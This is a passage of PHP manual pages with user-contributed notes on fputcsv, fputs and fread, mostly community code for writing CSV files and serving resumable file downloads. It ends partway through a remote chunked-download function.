<?php
    fputcsv($fp, $foo, '\t');      //won't work
    fputcsv($fp, $foo, '    ');    //won't work

    fputcsv($fp, $foo, chr(9));    //works
?>

==================

it should be:
<?php
    fputcsv($fp, $foo, "\t");
?>
you just forgot that single quotes are literal...meaning whatever you put there that's what will come out so '\t' would be same as 't' because \ in that case would be only used for escaping but if you use double quotes then that would work.
soapergem at gmail dot com 14-May-2009 08:17
I've created a function for quickly generating CSV files that work with Microsoft applications. In the field I learned a few things about generating CSVs that are not always obvious. First, since PHP is generally *nix-based, it makes sense that the line endings are always \n instead of \r\n. However, certain Microsoft programs (I'm looking at you, Access 97), will fail to recognize the CSV properly unless each line ends with \r\n. So this function changes the line endings accordingly. Secondly, if the first column heading / value of the CSV file begins with uppercase ID, certain Microsoft programs (ahem, Excel 2007) will interpret the file as being in the SYLK format rather than CSV, as described here: http://support.microsoft.com/kb/323626

This function accommodates for that as well, by forcibly enclosing that first value in quotes (when this doesn't occur automatically). It would be fairly simple to modify this function to use another delimiter if need be and I leave that as an exercise to the reader. So quite simply, this function is used for outputting CSV data to a CSV file in a way that is safe for use with Windows applications. It takes two parameters + one optional parameter: the location of where the file should be saved, an array of data rows, and an optional array of column headings. (Technically you could omit the headings array and just include it as the first row of the data, but it is often useful to keep this data stored in different arrays in practice.)

<?php

function mssafe_csv($filepath, $data, $header = array())
{
    if ( $fp = fopen($filepath, 'w') ) {
        $show_header = true;
        if ( empty($header) ) {
            $show_header = false;
            reset($data);
            $line = current($data);
            if ( !empty($line) ) {
                reset($line);
                $first = current($line);
                if ( substr($first, 0, 2) == 'ID' && !preg_match('/["\\s,]/', $first) ) {
                    array_shift($data);
                    array_shift($line);
                    if ( empty($line) ) {
                        fwrite($fp, "\"{$first}\"\r\n");
                    } else {
                        fwrite($fp, "\"{$first}\",");
                        fputcsv($fp, $line);
                        fseek($fp, -1, SEEK_CUR);
                        fwrite($fp, "\r\n");
                    }
                }
            }
        } else {
            reset($header);
            $first = current($header);
            if ( substr($first, 0, 2) == 'ID' && !preg_match('/["\\s,]/', $first) ) {
                array_shift($header);
                if ( empty($header) ) {
                    $show_header = false;
                    fwrite($fp, "\"{$first}\"\r\n");
                } else {
                    fwrite($fp, "\"{$first}\",");
                }
            }
        }
        if ( $show_header ) {
            fputcsv($fp, $header);
            fseek($fp, -1, SEEK_CUR);
            fwrite($fp, "\r\n");
        }
        foreach ( $data as $line ) {
            fputcsv($fp, $line);
            fseek($fp, -1, SEEK_CUR);
            fwrite($fp, "\r\n");
        }
        fclose($fp);
    } else {
        return false;
    }
    return true;
}

?>
nate at example dot com 19-Nov-2008 10:17
Alright, after playing a while, I'm confident the following replacement function works in all cases, including the ones for which the native fputcsv function fails. If fputcsv fails to work for you (particularly with mysql csv imports), try this function as a drop-in replacement instead.

Arguments to pass in are exactly the same as for fputcsv, though I have added an additional $mysql_null boolean which allows one to turn php null's into mysql-insertable nulls (by default, this add-on is disabled, thus working identically to fputcsv [except this one works!]).

<?php

function fputcsv2 ($fh, array $fields, $delimiter = ',', $enclosure = '"', $mysql_null = false) {
    $delimiter_esc = preg_quote($delimiter, '/');
    $enclosure_esc = preg_quote($enclosure, '/');

    $output = array();
    foreach ($fields as $field) {
        if ($field === null && $mysql_null) {
            $output[] = 'NULL';
            continue;
        }

        $output[] = preg_match("/(?:${delimiter_esc}|${enclosure_esc}|\s)/", $field) ? (
            $enclosure . str_replace($enclosure, $enclosure . $enclosure, $field) . $enclosure
        ) : $field;
    }

    fwrite($fh, join($delimiter, $output) . "\n");
}

// the _EXACT_ LOAD DATA INFILE command to use
// (if you pass in something different for $delimiter
// and/or $enclosure above, change them here too;
// but _LEAVE ESCAPED BY EMPTY!_).
/*
LOAD DATA INFILE
    '/path/to/file.csv'

INTO TABLE
    my_table

FIELDS TERMINATED BY
    ','

OPTIONALLY ENCLOSED BY
    '"'

ESCAPED BY
    ''

LINES TERMINATED BY
    '\n'
*/

?>
jon+dontspamme at phpsitesolutions dot com 29-Jul-2008 10:44
I found that the fputcsv examples for PHP 4 missed one thing, that was proper handling of the $enclosure value when it is a quote (if a quote is passed in a field, and it is delimited by a slash, it will be improperly handled by the functions submitted here).

My modified function was built using the actual PHP5 source for fputcsv, with the addition of properly reacting to the existence of a delimited quote in the field being processed.

<?php
if (!function_exists('fputcsv')) {
    function fputcsv(&$handle, $fields = array(), $delimiter = ',', $enclosure = '"') {

        // Sanity Check
        if (!is_resource($handle)) {
            trigger_error('fputcsv() expects parameter 1 to be resource, ' .
                gettype($handle) . ' given', E_USER_WARNING);
            return false;
        }

        if ($delimiter!=NULL) {
            if( strlen($delimiter) < 1 ) {
                trigger_error('delimiter must be a character', E_USER_WARNING);
                return false;
            }elseif( strlen($delimiter) > 1 ) {
                trigger_error('delimiter must be a single character', E_USER_NOTICE);
            }

            /* use first character from string */
            $delimiter = $delimiter[0];
        }

        if( $enclosure!=NULL ) {
             if( strlen($enclosure) < 1 ) {
                trigger_error('enclosure must be a character', E_USER_WARNING);
                return false;
            }elseif( strlen($enclosure) > 1 ) {
                trigger_error('enclosure must be a single character', E_USER_NOTICE);
            }

            /* use first character from string */
            $enclosure = $enclosure[0];
       }

        $i = 0;
        $csvline = '';
        $escape_char = '\\';
        $field_cnt = count($fields);
        $enc_is_quote = in_array($enclosure, array('"',"'"));
        reset($fields);

        foreach( $fields AS $field ) {

            /* enclose a field that contains a delimiter, an enclosure character, or a newline */
            if( is_string($field) && (
                strpos($field, $delimiter)!==false ||
                strpos($field, $enclosure)!==false ||
                strpos($field, $escape_char)!==false ||
                strpos($field, "\n")!==false ||
                strpos($field, "\r")!==false ||
                strpos($field, "\t")!==false ||
                strpos($field, ' ')!==false ) ) {

                $field_len = strlen($field);
                $escaped = 0;

                $csvline .= $enclosure;
                for( $ch = 0; $ch < $field_len; $ch++ )    {
                    if( $field[$ch] == $escape_char && $field[$ch+1] == $enclosure && $enc_is_quote ) {
                        continue;
                    }elseif( $field[$ch] == $escape_char ) {
                        $escaped = 1;
                    }elseif( !$escaped && $field[$ch] == $enclosure ) {
                        $csvline .= $enclosure;
                    }else{
                        $escaped = 0;
                    }
                    $csvline .= $field[$ch];
                }
                $csvline .= $enclosure;
            } else {
                $csvline .= $field;
            }

            if( $i++ != $field_cnt ) {
                $csvline .= $delimiter;
            }
        }

        $csvline .= "\n";

        return fwrite($handle, $csvline);
    }
}
?>
ifunk 16-Sep-2007 06:04
I converted this from the PHP source code. This replicates PHP5 functionality exactly, whereas the other examples here do not.

<?php

if (!function_exists('fputcsv')) {

  function fputcsv(&$handle, $fields = array(), $delimiter = ',', $enclosure = '"') {
    $str = '';
    $escape_char = '\\';
    foreach ($fields as $value) {
      if (strpos($value, $delimiter) !== false ||
          strpos($value, $enclosure) !== false ||
          strpos($value, "\n") !== false ||
          strpos($value, "\r") !== false ||
          strpos($value, "\t") !== false ||
          strpos($value, ' ') !== false) {
        $str2 = $enclosure;
        $escaped = 0;
        $len = strlen($value);
        for ($i=0;$i<$len;$i++) {
          if ($value[$i] == $escape_char) {
            $escaped = 1;
          } else if (!$escaped && $value[$i] == $enclosure) {
            $str2 .= $enclosure;
          } else {
            $escaped = 0;
          }
          $str2 .= $value[$i];
        }
        $str2 .= $enclosure;
        $str .= $str2.$delimiter;
      } else {
        $str .= $value.$delimiter;
      }
    }
    $str = substr($str,0,-1);
    $str .= "\n";
    return fwrite($handle, $str);
  }

}

?>
alexxed thething gmail thething com 10-Aug-2007 12:28
A event simpler way:

<?php
    function fputcsv($hFile, $aRow, $sSeparator=',', $sEnclosure='"')
    {
       foreach ($aRow as $iIdx=>$sCell)
          $aRow[$iIdx] = str_replace($sEnclosure, $sEnclosure.$sEnclosure, $sCell);

       fwrite($hFile, join($aRow, $sSeparator)."\n");
    }
?>
bl at mindbench dot nl 26-Mar-2007 12:55
If you need to save the output to a variable (e.g. for use within a framework) you can write to a temporary memory-wrapper and retrieve it's contents:

<?php
// output up to 5MB is kept in memory, if it becomes bigger it will automatically be written to a temporary file
$csv = fopen('php://temp/maxmemory:'. (5*1024*1024), 'r+');

fputcsv($csv, array('blah','blah'));

rewind($csv);

// put it all in a variable
$output = stream_get_contents($csv);
?>
MagicalTux at ooKoo dot org 18-Jan-2007 06:08
If you need to send a CSV file directly to the browser, without writing in an external file, you can open the output and use fputcsv on it..

<?php
$out = fopen('php://output', 'w');
fputcsv($out, array('this','is some', 'csv "stuff", you know.'));
fclose($out);
?>
boonerunner at hotmail dot com 15-Sep-2005 07:47
Here is an adaption of the above code that adds support for double quotes inside a field. (One double quote is replaced with a pair of double quotes per the CSV format).

<?php
 function fputcsv($filePointer,$dataArray,$delimiter,$enclosure)
  {
  // Write a line to a file
  // $filePointer = the file resource to write to
  // $dataArray = the data to write out
  // $delimeter = the field separator

  // Build the string
  $string = "";

  // No leading delimiter
  $writeDelimiter = FALSE;
  foreach($dataArray as $dataElement)
   {
    // Replaces a double quote with two double quotes
    $dataElement=str_replace("\"", "\"\"", $dataElement);

    // Adds a delimiter before each field (except the first)
    if($writeDelimiter) $string .= $delimiter;

    // Encloses each field with $enclosure and adds it to the string
    $string .= $enclosure . $dataElement . $enclosure;

    // Delimiters are used every time except the first.
    $writeDelimiter = TRUE;
   } // end foreach($dataArray as $dataElement)

  // Append new line
  $string .= "\n";

  // Write the string to the file
  fwrite($filePointer,$string);
  }
?>
drew at zitnay dot com 22-Nov-2004 09:42
[EDIT BY danbrown AT php DOT net: This is a revised function with a few bugfixes and improvements done by this author.  The original function example was written by arthur AT mclean DOT ws, and rewritten between by arthur AT korn DOT ch.]

- when calling str_replace(), you must assign $cell the return value or nothing gets saved

- when using strchr(), you should explicitly check !== FALSE, or it'll treat a return value of 0 (found the character at string position 0) as FALSE

- Excel seems to quote not only fields containing commas, but fields containing quotes as well, so I've added another strchr() for quotes; I'm not saying Microsoft knows the correct way for sure, but it seems reasonable to me

- the original function put a space after each comma; that might be legal, I don't know, but I've never seen it (and I don't think it is, because then how would you indicate you wanted a field to start with a space other than by quoting it?)

- the original function didn't correctly return the length of the data outputted

Here's the function, fixed up a bit:

<?php
function fputcsv($handle, $row, $fd=',', $quot='"')
{
   $str='';
   foreach ($row as $cell) {
       $cell=str_replace(Array($quot,        "\n"),
                         Array($quot.$quot,  ''),
                         $cell);
       if (strchr($cell, $fd)!==FALSE || strchr($cell, $quot)!==FALSE) {
           $str.=$quot.$cell.$quot.$fd;
       } else {
           $str.=$cell.$fd;
       }
   }

   fputs($handle, substr($str, 0, -1)."\n");

   return strlen($str);
}
?>

Drew


Псевдоним fwrite

  • « fputcsv
  • fread »
  • PHP Manual
  • Функции файловой системы
  • Псевдоним fwrite

fputs

(PHP 4, PHP 5, PHP 7, PHP 8)

fputs — Псевдоним fwrite()

Описание

Функция является псевдонимом: fwrite().

User Contributed Notes

rembert at floating-point dot nl 21-Nov-2002 04:03
Adding to Adam (Nedstat):
fputs without the length parm just writes all data up to but not including the first 0 byte it encounters.

Therefore fputs($fp,"hello\0world") will only write hello to $fp whereas
fputs($fp,"hello\0world",11) will write both words.

If this doesn't make sense for you, remember strings are always terminated with that 0 byte. Binary data doesn't have such a terminator byte as a 0 byte can be a completely valid piece of data therefore you always need to know the length of the binary datapart.

BTW strlen() is binary safe, so you can use that to get the length of the binary data part as well - this is different from C which counts the number of chars up to the 0 byte. So the example above could also be written as:

fputs($fp,"hello\0world",strlen("hello\0world"))
08-Oct-2000 12:07
You can use here-documents in PHP but not for printing to a file pointer.

There's a lot to say on them so just go to the page: http://www.php.net/manual/language.types.string.php


Бинарно-безопасное чтение файла

  • « fputs
  • fscanf »
  • PHP Manual
  • Функции файловой системы
  • Бинарно-безопасное чтение файла

fread

(PHP 4, PHP 5, PHP 7, PHP 8)

fread — Бинарно-безопасное чтение файла

Описание

fread(resource $stream, int $length): string|false

fread() читает до length байт из файлового указателя stream и смещает указатель. Чтение останавливается как только было достигнуто одно из следующих условий:

  • было прочитано length байт
  • достигнут EOF (конец файла)
  • стал доступен пакет или истекло время ожидания сокета (для сетевых потоков)
  • если читаемый поток является буферизованным и не представляет собой обычный файл, то за один раз максимум читается количество байт, равное размеру одной порции данных (обычно это 8192), однако, в зависимости от ранее буферизованных данных размер возвращаемых данных может быть больше размера одной порции данных.

Список параметров

stream

Указатель (resource) на файл, обычно создаваемый с помощью функции fopen().

length

length указывает размер прочитанных данных в байтах.

Возвращаемые значения

Возвращает прочтённую строку или false в случае возникновения ошибки.

Примеры

Пример #1 Простой пример использования fread()

<?php
// получает содержимое файла в строку
$filename = "/usr/local/something.txt";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
fclose($handle);
?>

Пример #2 Пример бинарного чтения с помощью fread()

Внимание

На системах, которые различают бинарные и текстовые файлы (к примеру, Windows), файл должен быть открыт с использованием флага 'b' в параметре mode функции fopen().

<?php
$filename = "c:\\files\\somepic.gif";
$handle = fopen($filename, "rb");
$contents = fread($handle, filesize($filename));
fclose($handle);
?>

Пример #3 Примеры удалённого чтения с помощью fread()

Внимание

При чтении чего-либо отличного от локальных файлов, например потоков, возвращаемых при чтении удалённых файлов или из popen() и fsockopen(), чтение остановится после того, как пакет станет доступным. Это означает, что вы должны собирать данные вместе по кусочкам, как показано на примере ниже.

<?php
$handle = fopen("http://www.example.com/", "rb");
$contents = stream_get_contents($handle);
fclose($handle);
?>
<?php
$handle = fopen("http://www.example.com/", "rb");
if (FALSE === $handle) {
exit("Не удалось открыть поток по url адресу");
}

$contents = '';

while (!feof($handle)) {
$contents .= fread($handle, 8192);
}
fclose($handle);
?>

Примечания

Замечание:

Если вы просто хотите получить содержимое файла в виде строки, используйте file_get_contents(), так как эта функция намного производительнее, чем код описанный выше.

Замечание:

Учтите, что fread() читает, начиная с текущей позиции файлового указателя. Используйте функцию ftell() для нахождения текущей позиции указателя и функцию rewind() для перемотки позиции указателя в начало.

Смотрите также

  • fwrite() - Бинарно-безопасная запись в файл
  • fopen() - Открывает файл или URL
  • fsockopen() - Открывает соединение с интернет-сокетом или доменным сокетом Unix
  • popen() - Открывает файловый указатель процесса
  • fgets() - Читает строку из файла
  • fgetss() - Читает строку из файла и удаляет HTML-теги
  • fscanf() - Обрабатывает данные из файла в соответствии с форматом
  • file() - Читает содержимое файла и помещает его в массив
  • fpassthru() - Выводит все оставшиеся данные из файлового указателя
  • fseek() - Устанавливает смещение в файловом указателе
  • ftell() - Возвращает текущую позицию указателя чтения/записи файла
  • rewind() - Сбрасывает курсор файлового указателя
  • unpack() - Распаковать данные из бинарной строки

User Contributed Notes

Wvss at gmail dot com 16-May-2022 05:26
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <?php
    require_once "person.class.php";
    require_once "schueler.class.php";
    require_once "lehrer.class.php";
    //$p = new Person("Hans", "Wurst");
    //$p->ausgabe();

    $s = new Schueler("Kevin", "Mayer", "FTET3");
    $s->ausgabe();

     Lehrer::$maxGehaltsStufe = 16;
    $l = new Lehrer("Karl", "Napf", 13);
    $l->ausgabe();
    $l->befoerdern();
    $l->ausgabe();
    $l->befoerdern();
    $l->ausgabe();
    $l->befoerdern();
    $l->ausgabe();
    $l->befoerdern();
    $l->ausgabe();
    ?>
</body>
</html>
john dot wellesz at teaser dot com 07-Jul-2014 08:52
Note that fread() will return '' (empty string) when a timeout occurs unlike socket_read() which returns false...
fread at imperium dot be 11-Feb-2014 05:13
My script was based on example 3b, but used up 100% CPU when a timeout occurred that wasn't "seen". This is very bad. So here's my code, hoping this will help people out there with the same problem. Obviously first use $rPage = fsockopen(...) and fwrite($rPage,...) and such, after which:

    $sPage    = ''; // the page goes in here
    $iTimeout    = 5; // set the timeout in seconds
    stream_set_timeout($rPage,$iTimeout);
    stream_set_blocking($rPage,0);
    $fTimeout    = microtime(true);
    do {
        if (($sRead = fread($rPage,8192))!==false and strlen($sRead)) {
            $sPage    .= $sRead; }
        else {
            usleep(10000); } // 0.01 second
        $aInfo    = stream_get_meta_data($rPage); }
    while (!feof($rPage) and !$aInfo['timed_out'] and microtime(true)-$fTimeout<$iTimeout);
    fclose($rPage);
    // now simply decompress and unchunk $sPage, if need be

Above code will make sure the timeout is used, because this isn't always detected properly. In addition, the usleep() will keep the CPU in check.
dharmilshah at gmail dot com 12-Dec-2013 11:59
For anyone still trying to write an effective file downloader function/script, the work has been done for you in all the major servers including Apache & nginx.

Using the X-Sendfile header, you can do the following:

if ($user->isLoggedIn())
{
    header("X-Sendfile: $path_to_somefile_private");
    header("Content-Type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"$somefile\"");
}

Apache will serve the file for you while NOT revealing your private file path! Pretty nice. This works on all browsers/download managers and saves a lot of resources.

Documentation:
Apache module: https://tn123.org/mod_xsendfile/
Nginx: http://wiki.nginx.org/XSendfile
Lighttpd: http://blog.lighttpd.net/articles/2006/07/02/x-sendfile/

Hopefully this will save you many hours of work.
box dot afzar at gmail dot com 31-Jan-2013 10:00
I write this script for download with resume suport
<?php
// If user click the download link
if(isset($_GET['filename'])){
        // The directory of downloadable files
        // This directory should be unaccessible from web
        $file_dir="/tmp/";

        // Replace the slash and backslash character with empty string
        // The slash and backslash character can be dangerous
        $file_name=str_replace("/", "", $_GET['filename']);
        $file_name=str_replace("\\", "", $file_name);

        // If the requested file is exist
        if(file_exists($file_dir.$file_name)){
                // Get the file size
                $file_size=filesize($file_dir.$file_name);
                // Open the file
                $fh=fopen($file_dir.$file_name, "r");

                // Download speed in KB/s
                $speed=5;

                // Initialize the range of bytes to be transferred
                $start=0;
                $end=$file_size-1;

                // Check HTTP_RANGE variable
                if(isset($_SERVER['HTTP_RANGE']) &&
                        preg_match('/^bytes=(\d+)-(\d*)/', $_SERVER['HTTP_RANGE'], $arr)){

                        // Starting byte
                        $start=$arr[1];
                        if($arr[2]){
                                // Ending byte
                                $end=$arr[2];
                        }
                }

                // Check if starting and ending byte is valid
                if($start>$end || $start>=$file_size){
                        header("HTTP/1.1 416 Requested Range Not Satisfiable");
                        header("Content-Length: 0");
                }
                else{
                        // For the first time download
                        if($start==0 && $end==$file_size){
                                // Send HTTP OK header
                                header("HTTP/1.1 200 OK");
                        }
                        else{
                                // For resume download
                                // Send Partial Content header
                                header("HTTP/1.1 206 Partial Content");
                                // Send Content-Range header
                                header("Content-Range: bytes ".$start."-".$end."/".$file_size);
                        }

                        // Bytes left
                        $left=$end-$start+1;

}
?>
<html>
<head>
        <title>Home</title>
</head>
<body>
        <a href="index.php?filename=file.pdf">Download</a>
</body>
</html>
andrej dot frelih at gmail dot com 27-Dec-2011 04:35
Another sample function that supports from/to range requests:

<?php
function download_file($file_name) {

    if (!file_exists($file_name)) { die("<b>404 File not found!</b>"); }

    $file_extension = strtolower(substr(strrchr($file_name,"."),1));
    $file_size = filesize($file_name);
    $md5_sum = md5_file($file_name);

   //This will set the Content-Type to the appropriate setting for the file
    switch($file_extension) {
        case "exe": $ctype="application/octet-stream"; break;
        case "zip": $ctype="application/zip"; break;
        case "mp3": $ctype="audio/mpeg"; break;
        case "mpg":$ctype="video/mpeg"; break;
        case "avi": $ctype="video/x-msvideo"; break;

        //The following are for extensions that shouldn't be downloaded (sensitive stuff, like php files)
        case "php":
        case "htm":
        case "html":
        case "txt": die("<b>Cannot be used for ". $file_extension ." files!</b>"); break;

        default: $ctype="application/force-download";
    }

    if (isset($_SERVER['HTTP_RANGE'])) {
        $partial_content = true;
        $range = explode("-", $_SERVER['HTTP_RANGE']);
        $offset = intval($range[0]);
        $length = intval($range[1]) - $offset;
    }
    else {
        $partial_content = false;
        $offset = 0;
        $length = $file_size;
    }

    //read the data from the file
    $handle = fopen($file_name, 'r');
    $buffer = '';
    fseek($handle, $offset);
    $buffer = fread($handle, $length);
    $md5_sum = md5($buffer);
    if ($partial_content) $data_size = intval($range[1]) - intval($range[0]);
    else $data_size = $file_size;
    fclose($handle);

    // send the headers and data
    header("Content-Length: " . $data_size);
    header("Content-md5: " . $md5_sum);
    header("Accept-Ranges: bytes");
    if ($partial_content) header('Content-Range: bytes ' . $offset . '-' . ($offset + $length) . '/' . $file_size);
    header("Connection: close");
    header("Content-type: " . $ctype);
    header('Content-Disposition: attachment; filename=' . $file_name);
    echo $buffer;
    flush();
}
?>
randym 20-Aug-2011 10:45
Concerning [problems with UTF-8 and] downloading Zip files I found that simply adding 3 lines of code before starting the fread to the buffer for delivery in all browsers solved the problem.

<?php
    ob_end_clean();
    ob_start();
    header( 'Content-Type:' );
?>

... see where placed in the function below:

<?php
function readfile_chunked( $filename, $retbytes = true ) {
    $chunksize = 1 * (1024 * 1024); // how many bytes per chunk
    $buffer = '';
    $cnt = 0;
    $handle = fopen( $filename, 'rb' );
    if ( $handle === false ) {
        return false;
    }
    ob_end_clean(); //added to fix ZIP file corruption
    ob_start(); //added to fix ZIP file corruption
    header( 'Content-Type:' ); //added to fix ZIP file corruption
    while ( !feof( $handle ) ) {
        $buffer = fread( $handle, $chunksize );
        //$buffer = str_replace("i»?","",$buffer);
        echo $buffer;
        ob_flush();
        flush();
        if ( $retbytes ) {
            $cnt += strlen( $buffer );
        }
    }
    $status = fclose( $handle );
    if ( $retbytes && $status ) {
        return $cnt; // return num. bytes delivered like readfile() does.
    }
    return $status;
}
?>
Anonymous 18-Mar-2011 05:59
If you serve a file download over PHP with fread and print/echo and experience corrupted binary files, chances are the server still uses magic quotes and escapes the null bytes in your file. Although from 5.3.0 magic quotes are no longer supported, you might still encounter this problem. Try to turn them off by placing this code before using fread:

<?php
@ini_set('magic_quotes_runtime', 0);
?>
NOopensourceSPAM at prodigy7 dot de 21-Sep-2010 06:45
Somehow all code samples for downloads, described here, doesn't work right for me.
When I download a big file readfile or fread in b mode, the final file hasn't the same md5 like the originial.

Some tests helps me, finding a solution:

<?php
            $fp = fopen($DownloadFile, 'rb');
            while ( $cline = fgets($fp) )
            {
                print $cline;
            }
            fclose($fp);
?>

Somehow, it's "binary safe" and deliver that file which are read. md5 original and download are the same.
david at identd dot dyndns dot org 05-May-2010 06:27
Note to IIS admins:

When using PHP via the FastCGI ISAPI extension, there is a script timeout of approximately 1hr that cannot be adjusted. When using PHP via CGI, there is a script timeout that is based upon the value of the CGITimeout configuration option. This value must be set extremely high if you plan to serve large files. An explanation of how to configure this option can be found here: http://www.iisadmin.co.uk/?p=7 If you do not modify this setting you can expect the above scripts to fail silently once it has hit the default value (30 minutes in my case).
edgarinvillegas at hotmail dot com 30-Aug-2009 12:16
I had a fread script that hanged forever (from php manual):

<?php
$fp = fsockopen("example.host.com", 80);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    fwrite($fp, "Data sent by socket");
    $content = "";
    while (!feof($fp)) {  //This looped forever
        $content .= fread($fp, 1024);
    }
    fclose($fp);
    echo $content;
}
?>

The problem is that sometimes end of streaming is not marked by EOF nor a fixed mark, that's why this looped forever. This caused me a lot of headaches...
I solved it using the stream_get_meta_data function and a break statement as the following shows:

<?php
$fp = fsockopen("example.host.com", 80);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    fwrite($fp, "Data sent by socket");
    $content = "";
    while (!feof($fp)) {
        $content .= fread($fp, 1024);
        $stream_meta_data = stream_get_meta_data($fp); //Added line
         if($stream_meta_data['unread_bytes'] <= 0) break; //Added line
    }
    fclose($fp);
    echo $content;
}
?>

Hope this will save a lot of headaches to someone.

(Greetings, from La Paz-Bolivia)
James Ranson 13-Jan-2009 04:20
Tom, the idea for the examples below is to ensure the user has proper credentials before serving the file. With that security in mind, the suggestion of a 302 redirection seems like a risky idea. Anyone with a modicum of networking experience can run a TCP trace and see the 302 Redirect response, as it is actually a response received by the client browser; the browser then makes a subsequent http request for the URL provided in the Location header.  When that 302 response is captured by wireshark, the 'secret' location is then exposed and can be shared with anyone who wishes to bypass the authorization routines in the php.

The only way to secure this would be for the 302 Redirection response to include some kind of unique, per-request, expiring authorization token, either on the end of the url or in a set-cookie, that is then checked by an authorization module implemented within the hosting webserver. Otherwise, you're relegated to the methods described below.
tom 29-Oct-2008 08:11
Various scripts suggested here attempt to deliver a file for download to a client. Handling http protocol features such as HTTP_RANGE is not trivial; neither is handling flow control with the server, memory and time limits when the files are large.

An alternative is to let the web server can handle http by redirecting to the file in question. It's not uncommon e.g. http://www.apple.com/downloads/macosx/ does this.

A PHP script can do any checks needed (security, authentication, validate the file) and any other tasks before calling header("Location $urltofile");

I tested this with apache. Interrupt/resume download works. The server's mime type configuration will determine client behavior. For apache, if defaults in mime.types are not suitable, configuration directives for mod_mime could go in a .htaccess file in the directory of the file to download. If really necessary, these could even by written by the PHP script before it redirects.
Anonymous 27-Oct-2008 04:50
This code is buggy
<?php
$contents = '';
while (!feof($handle)) {
  $contents .= fread($handle, 8192);
}
?>
When you read a file whose size is a multiple of the readsize (8192 here), then the loop is executed when there are no more data to read. Here, the result of fread() is not checked, and so the instruction
<?php
$contents .= fread($handle, 8192)
?>
is executed once with no data from fread(). In this very case, it is not important, but in some situation it could be harmful.

The good way to read a file block by block is :
<?php
while ( ($buf=fread( $handle, 8192 )) != '' ) {
    // Here, $buf is guaranted to contain data
    $contents .= $buf;
}
if($buf===FALSE) {
    echo "THERE WAS AN ERROR READING\n";
}
?>
Anonymous 18-Sep-2008 06:46
It might be worth noting that if your site uses a front controller with sessions and you send a large file to a user; you should end the session just before sending the file, otherwise the user will not be able to continue continue browsing the site while the file is downloading.
Edward Jaramilla 28-Jun-2008 11:45
I couldn't get some of the previous resume scripts to work with Free Download Manager or Firefox.  I did some clean up and modified the code a little.

Changes:
1. Added a Flag to specify if you want download to be resumable or not
2. Some error checking and data cleanup for invalid/multiple ranges based on http://tools.ietf.org/id/draft-ietf-http-range-retrieval-00.txt
3. Always calculate a $seek_end even though the range specification says it could be empty... eg: bytes 500-/1234
4. Removed some Cache headers that didn't seem to be needed. (add back if you have problems)
5. Only send partial content header if downloading a piece of the file (IE workaround)

<?php

function dl_file_resumable($file, $is_resume=TRUE)
{
    //First, see if the file exists
    if (!is_file($file))
    {
        die("<b>404 File not found!</b>");
    }

    //Gather relevent info about file
    $size = filesize($file);
    $fileinfo = pathinfo($file);

    //workaround for IE filename bug with multiple periods / multiple dots in filename
    //that adds square brackets to filename - eg. setup.abc.exe becomes setup[1].abc.exe
    $filename = (strstr($_SERVER['HTTP_USER_AGENT'], 'MSIE')) ?
                  preg_replace('/\./', '%2e', $fileinfo['basename'], substr_count($fileinfo['basename'], '.') - 1) :
                  $fileinfo['basename'];

    $file_extension = strtolower($path_info['extension']);

    //This will set the Content-Type to the appropriate setting for the file
    switch($file_extension)
    {
        case 'exe': $ctype='application/octet-stream'; break;
        case 'zip': $ctype='application/zip'; break;
        case 'mp3': $ctype='audio/mpeg'; break;
        case 'mpg': $ctype='video/mpeg'; break;
        case 'avi': $ctype='video/x-msvideo'; break;
        default:    $ctype='application/force-download';
    }

    //check if http_range is sent by browser (or download manager)
    if($is_resume && isset($_SERVER['HTTP_RANGE']))
    {
        list($size_unit, $range_orig) = explode('=', $_SERVER['HTTP_RANGE'], 2);

        if ($size_unit == 'bytes')
        {
            //multiple ranges could be specified at the same time, but for simplicity only serve the first range
            //http://tools.ietf.org/id/draft-ietf-http-range-retrieval-00.txt
            list($range, $extra_ranges) = explode(',', $range_orig, 2);
        }
        else
        {
            $range = '';
        }
    }
    else
    {
        $range = '';
    }

    //figure out download piece from range (if set)
    list($seek_start, $seek_end) = explode('-', $range, 2);

    //set start and end based on range (if set), else set defaults
    //also check for invalid ranges.
    $seek_end = (empty($seek_end)) ? ($size - 1) : min(abs(intval($seek_end)),($size - 1));
    $seek_start = (empty($seek_start) || $seek_end < abs(intval($seek_start))) ? 0 : max(abs(intval($seek_start)),0);

    //add headers if resumable
    if ($is_resume)
    {
        //Only send partial content header if downloading a piece of the file (IE workaround)
        if ($seek_start > 0 || $seek_end < ($size - 1))
        {
            header('HTTP/1.1 206 Partial Content');
        }

        header('Accept-Ranges: bytes');
        header('Content-Range: bytes '.$seek_start.'-'.$seek_end.'/'.$size);
    }

    //headers for IE Bugs (is this necessary?)
    //header("Cache-Control: cache, must-revalidate");
    //header("Pragma: public");

    header('Content-Type: ' . $ctype);
    header('Content-Disposition: attachment; filename="' . $filename . '"');
    header('Content-Length: '.($seek_end - $seek_start + 1));

    //open the file
    $fp = fopen($file, 'rb');
    //seek to start of missing part
    fseek($fp, $seek_start);

    //start buffered download
    while(!feof($fp))
    {
        //reset time limit for big files
        set_time_limit(0);
        print(fread($fp, 1024*8));
        flush();
        ob_flush();
    }

    fclose($fp);
    exit;
}

?>
mail at 3v1n0 dot net 28-Apr-2008 03:32
This is an hack I've done to download remote files with HTTP resume support. This is useful if you want to write a download script that fetches files remotely and then sends them to the user, adding support to download managers (I tested it on wget). To do that you should also use a "remote_filesize" function that you can easily write/find.

<?php
function readfile_chunked_remote($filename, $seek = 0, $retbytes = true, $timeout = 3) {
    set_time_limit(0);
    $defaultchunksize = 1024*1024;
    $chunksize = $defaultchunksize;
    $buffer = '';
    $cnt = 0;
    $remotereadfile = false;

    if (preg_match('/[a-zA-Z]+:\/\//', $filename))
        $remotereadfile = true;

    $handle = @fopen($filename, 'rb');

    if ($handle === false) {
        return false;
    }

    stream_set_timeout($handle, $timeout);

    if ($seek != 0 && !$remotereadfile)
        fseek($handle, $seek);

    while (!feof($handle)) {

        if ($remotereadfile && $seek != 0 && $cnt+$chunksize > $seek)
            $chunksize = $seek-$cnt;
        else
            $chunksize = $defaultchunksize;

        $buffer = @fread($handle, $chunksize);

        if ($retbytes || ($remotereadfile && $seek != 0)) {
            $cnt += strlen($buffer);
        }

